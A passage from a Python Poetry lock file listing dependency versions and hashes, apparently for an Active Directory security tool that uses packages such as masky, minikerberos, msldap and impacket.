hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, ] [[package]] name = "masky" version = "0.2.1" description = "Python library with CLI allowing to remotely dump domain user credentials via an ADCS" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b"}, {file = "masky-0.2.1.tar.gz", hash = "sha256:973615bebbd9455a1c2a81a6cec626a2032ec2209f242e3e69a6226e4b60b6fc"}, ] [package.dependencies] asn1crypto = "*" colorama = "*" cryptography = ">=3.5" impacket = "*" pyasn1 = "*" [[package]] name = "mccabe" version = "0.7.0" description = "McCabe checker, plugin for flake8" optional = false python-versions = ">=3.6" groups = ["dev"] files = [ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, ] [[package]] name = "mdurl" version = "0.1.2" description = "Markdown URL utilities" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, ] [[package]] name = "minidump" version = "0.0.24" description = "Python library to parse Windows minidump file format" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6"}, {file = "minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437"}, ] [[package]] name = "minikerberos" version = "0.4.4" description = "Kerberos manipulation library in pure Python" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "minikerberos-0.4.4-py3-none-any.whl", hash = "sha256:f51d4283cfd318e89242dd2b467b99dc8a99ddad4fcf099367afeb1e54b7cf93"}, {file = "minikerberos-0.4.4.tar.gz", hash = "sha256:1b07861c6c4038b66a3a755dcceb70d31bafb2b2ac681d607f5c59fd6b8547bc"}, ] [package.dependencies] asn1crypto = ">=1.5.1" asysocks = ">=0.2.8" oscrypto = ">=1.3.0" six = "*" tqdm = "*" unicrypto = ">=0.0.10" [[package]] name = "msldap" version = "0.5.15" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "msldap-0.5.15-py3-none-any.whl", hash = "sha256:ee4224cf3964c386a52424a4b6d763a866b4d7ae6d5597a0af58611588668531"}, {file = "msldap-0.5.15.tar.gz", hash = "sha256:b8024a2c0559158ec407cb6317201ecc83627248baaeecee5dfd4419ca773e3d"}, ] [package.dependencies] asn1crypto = ">=1.3.0" asyauth = ">=0.0.18" asysocks = ">=0.2.11" prompt-toolkit = ">=3.0.2" tabulate = "*" tqdm = "*" unicrypto = ">=0.0.10" wcwidth = "*" winacl = ">=0.1.8" [[package]] name = "neo4j" version = "5.28.1" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "neo4j-5.28.1-py3-none-any.whl", hash = "sha256:6755ef9e5f4e14b403aef1138fb6315b120631a0075c138b5ddb2a06b87b09fd"}, {file = "neo4j-5.28.1.tar.gz", hash = "sha256:ae8e37a1d895099062c75bc359b2cce62099baac7be768d0eba7180c1298e214"}, ] [package.dependencies] pytz = "*" [package.extras] numpy = ["numpy (>=1.7.0,<3.0.0)"] pandas = ["numpy (>=1.7.0,<3.0.0)", "pandas (>=1.1.0,<3.0.0)"] pyarrow = ["pyarrow (>=1.0.0)"] [[package]] name = "netaddr" version = "1.3.0" description = "A network address manipulation library for Python" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "netaddr-1.3.0-py3-none-any.whl", hash = "sha256:c2c6a8ebe5554ce33b7d5b3a306b71bbb373e000bbbf2350dd5213cc56e3dbbe"}, {file = "netaddr-1.3.0.tar.gz", hash = "sha256:5c3c3d9895b551b763779ba7db7a03487dc1f8e3b385af819af341ae9ef6e48a"}, ] [package.extras] nicer-shell = ["ipython"] [[package]] name = "oscrypto" version = "1.3.0" description = "TLS (SSL) sockets, key generation, encryption, decryption, signing, verification and KDFs using the OS crypto libraries. Does not require a compiler, and relies on the OS for patching. Works on Windows, OS X and Linux/BSD." optional = false python-versions = "*" groups = ["main"] files = [] develop = false [package.dependencies] asn1crypto = ">=1.5.1" [package.source] type = "git" url = "https://github.com/wbond/oscrypto" reference = "HEAD" resolved_reference = "1547f535001ba568b239b8797465536759c742a3" [[package]] name = "packaging" version = "24.2" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ {file = "packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, ] [[package]] name = "paramiko" version = "3.5.1" description = "SSH2 protocol library" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61"}, {file = "paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822"}, ] [package.dependencies] bcrypt = ">=3.2" cryptography = ">=3.3" pynacl = ">=1.5" [package.extras] all = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] gssapi = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] invoke = ["invoke (>=2.0)"] [[package]] name = "pefile" version = "2024.8.26" description = "Python PE parsing module" optional = false python-versions = ">=3.6.0" groups = ["main"] files = [ {file = "pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f"}, {file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"}, ] [[package]] name = "pillow" version = "11.1.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "pillow-11.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:e1abe69aca89514737465752b4bcaf8016de61b3be1397a8fc260ba33321b3a8"}, {file = "pillow-11.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c640e5a06869c75994624551f45e5506e4256562ead981cce820d5ab39ae2192"}, {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a07dba04c5e22824816b2615ad7a7484432d7f540e6fa86af60d2de57b0fcee2"}, {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e267b0ed063341f3e60acd25c05200df4193e15a4a5807075cd71225a2386e26"}, {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:bd165131fd51697e22421d0e467997ad31621b74bfc0b75956608cb2906dda07"}, {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:abc56501c3fd148d60659aae0af6ddc149660469082859fa7b066a298bde9482"}, {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:54ce1c9a16a9561b6d6d8cb30089ab1e5eb66918cb47d457bd996ef34182922e"}, {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:73ddde795ee9b06257dac5ad42fcb07f3b9b813f8c1f7f870f402f4dc54b5269"}, {file = "pillow-11.1.0-cp310-cp310-win32.whl", hash = "sha256:3a5fe20a7b66e8135d7fd617b13272626a28278d0e578c98720d9ba4b2439d49"}, {file = "pillow-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:b6123aa4a59d75f06e9dd3dac5bf8bc9aa383121bb3dd9a7a612e05eabc9961a"}, {file = "pillow-11.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:a76da0a31da6fcae4210aa94fd779c65c75786bc9af06289cd1c184451ef7a65"}, {file = "pillow-11.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e06695e0326d05b06833b40b7ef477e475d0b1ba3a6d27da1bb48c23209bf457"}, {file = "pillow-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96f82000e12f23e4f29346e42702b6ed9a2f2fea34a740dd5ffffcc8c539eb35"}, {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3cd561ded2cf2bbae44d4605837221b987c216cff94f49dfeed63488bb228d2"}, {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f189805c8be5ca5add39e6f899e6ce2ed824e65fb45f3c28cb2841911da19070"}, {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:dd0052e9db3474df30433f83a71b9b23bd9e4ef1de13d92df21a52c0303b8ab6"}, {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:837060a8599b8f5d402e97197d4924f05a2e0d68756998345c829c33186217b1"}, {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aa8dd43daa836b9a8128dbe7d923423e5ad86f50a7a14dc688194b7be5c0dea2"}, {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0a2f91f8a8b367e7a57c6e91cd25af510168091fb89ec5146003e424e1558a96"}, {file = "pillow-11.1.0-cp311-cp311-win32.whl", hash = "sha256:c12fc111ef090845de2bb15009372175d76ac99969bdf31e2ce9b42e4b8cd88f"}, {file = "pillow-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbd43429d0d7ed6533b25fc993861b8fd512c42d04514a0dd6337fb3ccf22761"}, {file = "pillow-11.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:f7955ecf5609dee9442cbface754f2c6e541d9e6eda87fad7f7a989b0bdb9d71"}, {file = "pillow-11.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2062ffb1d36544d42fcaa277b069c88b01bb7298f4efa06731a7fd6cc290b81a"}, {file = "pillow-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a85b653980faad27e88b141348707ceeef8a1186f75ecc600c395dcac19f385b"}, {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9409c080586d1f683df3f184f20e36fb647f2e0bc3988094d4fd8c9f4eb1b3b3"}, {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fdadc077553621911f27ce206ffcbec7d3f8d7b50e0da39f10997e8e2bb7f6a"}, {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:93a18841d09bcdd774dcdc308e4537e1f867b3dec059c131fde0327899734aa1"}, {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9aa9aeddeed452b2f616ff5507459e7bab436916ccb10961c4a382cd3e03f47f"}, {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3cdcdb0b896e981678eee140d882b70092dac83ac1cdf6b3a60e2216a73f2b91"}, {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36ba10b9cb413e7c7dfa3e189aba252deee0602c86c309799da5a74009ac7a1c"}, {file = "pillow-11.1.0-cp312-cp312-win32.whl", hash = "sha256:cfd5cd998c2e36a862d0e27b2df63237e67273f2fc78f47445b14e73a810e7e6"}, {file = "pillow-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:a697cd8ba0383bba3d2d3ada02b34ed268cb548b369943cd349007730c92bddf"}, {file = "pillow-11.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:4dd43a78897793f60766563969442020e90eb7847463eca901e41ba186a7d4a5"}, {file = "pillow-11.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ae98e14432d458fc3de11a77ccb3ae65ddce70f730e7c76140653048c71bfcbc"}, {file = "pillow-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cc1331b6d5a6e144aeb5e626f4375f5b7ae9934ba620c0ac6b3e43d5e683a0f0"}, {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:758e9d4ef15d3560214cddbc97b8ef3ef86ce04d62ddac17ad39ba87e89bd3b1"}, {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b523466b1a31d0dcef7c5be1f20b942919b62fd6e9a9be199d035509cbefc0ec"}, {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9044b5e4f7083f209c4e35aa5dd54b1dd5b112b108648f5c902ad586d4f945c5"}, {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:3764d53e09cdedd91bee65c2527815d315c6b90d7b8b79759cc48d7bf5d4f114"}, {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:31eba6bbdd27dde97b0174ddf0297d7a9c3a507a8a1480e1e60ef914fe23d352"}, {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b5d658fbd9f0d6eea113aea286b21d3cd4d3fd978157cbf2447a6035916506d3"}, {file = "pillow-11.1.0-cp313-cp313-win32.whl", hash = "sha256:f86d3a7a9af5d826744fabf4afd15b9dfef44fe69a98541f666f66fbb8d3fef9"}, {file = "pillow-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:593c5fd6be85da83656b93ffcccc2312d2d149d251e98588b14fbc288fd8909c"}, {file = "pillow-11.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:11633d58b6ee5733bde153a8dafd25e505ea3d32e261accd388827ee987baf65"}, {file = "pillow-11.1.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:70ca5ef3b3b1c4a0812b5c63c57c23b63e53bc38e758b37a951e5bc466449861"}, {file = "pillow-11.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8000376f139d4d38d6851eb149b321a52bb8893a88dae8ee7d95840431977081"}, {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ee85f0696a17dd28fbcfceb59f9510aa71934b483d1f5601d1030c3c8304f3c"}, {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:dd0e081319328928531df7a0e63621caf67652c8464303fd102141b785ef9547"}, {file = "pillow-11.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e63e4e5081de46517099dc30abe418122f54531a6ae2ebc8680bcd7096860eab"}, {file = "pillow-11.1.0-cp313-cp313t-win32.whl", hash = "sha256:dda60aa465b861324e65a78c9f5cf0f4bc713e4309f83bc387be158b077963d9"}, {file = "pillow-11.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ad5db5781c774ab9a9b2c4302bbf0c1014960a0a7be63278d13ae6fdf88126fe"}, {file = "pillow-11.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:67cd427c68926108778a9005f2a04adbd5e67c442ed21d95389fe1d595458756"}, {file = "pillow-11.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:bf902d7413c82a1bfa08b06a070876132a5ae6b2388e2712aab3a7cbc02205c6"}, {file = "pillow-11.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c1eec9d950b6fe688edee07138993e54ee4ae634c51443cfb7c1e7613322718e"}, {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e275ee4cb11c262bd108ab2081f750db2a1c0b8c12c1897f27b160c8bd57bbc"}, {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4db853948ce4e718f2fc775b75c37ba2efb6aaea41a1a5fc57f0af59eee774b2"}, {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:ab8a209b8485d3db694fa97a896d96dd6533d63c22829043fd9de627060beade"}, {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:54251ef02a2309b5eec99d151ebf5c9904b77976c8abdcbce7891ed22df53884"}, {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5bb94705aea800051a743aa4874bb1397d4695fb0583ba5e425ee0328757f196"}, {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89dbdb3e6e9594d512780a5a1c42801879628b38e3efc7038094430844e271d8"}, {file = "pillow-11.1.0-cp39-cp39-win32.whl", hash = "sha256:e5449ca63da169a2e6068dd0e2fcc8d91f9558aba89ff6d02121ca8ab11e79e5"}, {file = "pillow-11.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3362c6ca227e65c54bf71a5f88b3d4565ff1bcbc63ae72c34b07bbb1cc59a43f"}, {file = "pillow-11.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:b20be51b37a75cc54c2c55def3fa2c65bb94ba859dde241cd0a4fd302de5ae0a"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8c730dc3a83e5ac137fbc92dfcfe1511ce3b2b5d7578315b63dbbb76f7f51d90"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:7d33d2fae0e8b170b6a6c57400e077412240f6f5bb2a342cf1ee512a787942bb"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d65b38173085f24bc07f8b6c505cbb7418009fa1a1fcb111b1f4961814a442"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:015c6e863faa4779251436db398ae75051469f7c903b043a48f078e437656f83"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d44ff19eea13ae4acdaaab0179fa68c0c6f2f45d66a4d8ec1eda7d6cecbcc15f"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d3d8da4a631471dfaf94c10c85f5277b1f8e42ac42bade1ac67da4b4a7359b73"}, {file = "pillow-11.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:4637b88343166249fe8aa94e7c4a62a180c4b3898283bb5d3d2fd5fe10d8e4e0"}, {file = "pillow-11.1.0.tar.gz", hash = "sha256:368da70808b36d73b4b390a8ffac11069f8a5c85f29eff1f1b01bcf3ef5b2a20"}, ] [package.extras] docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "trove-classifiers (>=2024.10.12)"] typing = ["typing-extensions ; python_version < \"3.10\""] xmp = ["defusedxml"] [[package]] name = "pip" version = "25.0.1" description = "The PyPA recommended tool for installing Python packages." optional = false python-versions = ">=3.8" groups = ["dev"] files = [ {file = "pip-25.0.1-py3-none-any.whl", hash = "sha256:c46efd13b6aa8279f33f2864459c8ce587ea6a1a59ee20de055868d8f7688f7f"}, {file = "pip-25.0.1.tar.gz", hash = "sha256:88f96547ea48b940a3a385494e181e29fb8637898f88d88737c5049780f196ea"}, ] [[package]] name = "pluggy" version = "1.5.0" description = "plugin and hook calling mechanisms for python" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, ] [package.extras] dev = ["pre-commit", "tox"] testing = ["pytest", "pytest-benchmark"] [[package]] name = "prompt-toolkit" version = "3.0.50" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.8.0" groups = ["main"] files = [ {file = "prompt_toolkit-3.0.50-py3-none-any.whl", hash = "sha256:9b6427eb19e479d98acff65196a307c555eb567989e6d88ebbb1b509d9779198"}, {file = "prompt_toolkit-3.0.50.tar.gz", hash = "sha256:544748f3860a2623ca5cd6d2795e7a14f3d0e1c3c9728359013f79877fc89bab"}, ] [package.dependencies] wcwidth = "*" [[package]] name = "pyasn1" version = "0.6.1" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, ] [[package]] name = "pyasn1-modules" version = "0.4.1" description = "A collection of ASN.1-based protocols modules" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "pyasn1_modules-0.4.1-py3-none-any.whl", hash = "sha256:49bfa96b45a292b711e986f222502c1c9a5e1f4e568fc30e2574a6c7d07838fd"}, {file = "pyasn1_modules-0.4.1.tar.gz", hash = "sha256:c28e2dbf9c06ad61c71a075c7e0f9fd0f1b0bb2d2ad4377f240d33ac2ab60a7c"}, ] [package.dependencies] pyasn1 = ">=0.4.6,<0.7.0" [[package]] name = "pycodestyle" version = "2.12.1" description = "Python style guide checker" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ {file = "pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3"}, {file = "pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521"}, ] [[package]] name = "pycparser" version = "2.22" description = "C parser in Python" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, ] [[package]] name = "pycryptodome" version = "3.22.0" description = "Cryptographic library for Python" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" groups = ["main"] files = [ {file = "pycryptodome-3.22.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:96e73527c9185a3d9b4c6d1cfb4494f6ced418573150be170f6580cb975a7f5a"}, {file = "pycryptodome-3.22.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:9e1bb165ea1dc83a11e5dbbe00ef2c378d148f3a2d3834fb5ba4e0f6fd0afe4b"}, {file = "pycryptodome-3.22.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:d4d1174677855c266eed5c4b4e25daa4225ad0c9ffe7584bb1816767892545d0"}, {file = "pycryptodome-3.22.0-cp27-cp27m-win32.whl", hash = "sha256:9dbb749cef71c28271484cbef684f9b5b19962153487735411e1020ca3f59cb1"}, {file = "pycryptodome-3.22.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:f1ae7beb64d4fc4903a6a6cca80f1f448e7a8a95b77d106f8a29f2eb44d17547"}, {file = "pycryptodome-3.22.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:a26bcfee1293b7257c83b0bd13235a4ee58165352be4f8c45db851ba46996dc6"}, {file = "pycryptodome-3.22.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:009e1c80eea42401a5bd5983c4bab8d516aef22e014a4705622e24e6d9d703c6"}, {file = "pycryptodome-3.22.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3b76fa80daeff9519d7e9f6d9e40708f2fce36b9295a847f00624a08293f4f00"}, {file = "pycryptodome-3.22.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a31fa5914b255ab62aac9265654292ce0404f6b66540a065f538466474baedbc"}, {file = "pycryptodome-3.22.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0092fd476701eeeb04df5cc509d8b739fa381583cda6a46ff0a60639b7cd70d"}, {file = "pycryptodome-3.22.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:18d5b0ddc7cf69231736d778bd3ae2b3efb681ae33b64b0c92fb4626bb48bb89"}, {file = "pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f6cf6aa36fcf463e622d2165a5ad9963b2762bebae2f632d719dfb8544903cf5"}, {file = "pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:aec7b40a7ea5af7c40f8837adf20a137d5e11a6eb202cde7e588a48fb2d871a8"}, {file = "pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772"}, {file = "pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb"}, {file = "pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627"}, {file = "pycryptodome-3.22.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:98fd9da809d5675f3a65dcd9ed384b9dc67edab6a4cda150c5870a8122ec961d"}, {file = "pycryptodome-3.22.0-pp27-pypy_73-win32.whl", hash = "sha256:37ddcd18284e6b36b0a71ea495a4c4dca35bb09ccc9bfd5b91bfaf2321f131c1"}, {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13"}, {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333"}, {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9"}, {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad"}, {file = "pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6"}, {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:56c6f9342fcb6c74e205fbd2fee568ec4cdbdaa6165c8fde55dbc4ba5f584464"}, {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87a88dc543b62b5c669895caf6c5a958ac7abc8863919e94b7a6cafd2f64064f"}, {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f7a683bc9fa585c0dfec7fa4801c96a48d30b30b096e3297f9374f40c2fedafc"}, {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8f4f6f47a7f411f2c157e77bbbda289e0c9f9e1e9944caa73c1c2e33f3f92d6e"}, {file = "pycryptodome-3.22.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a6cf9553b29624961cab0785a3177a333e09e37ba62ad22314ebdbb01ca79840"}, {file = 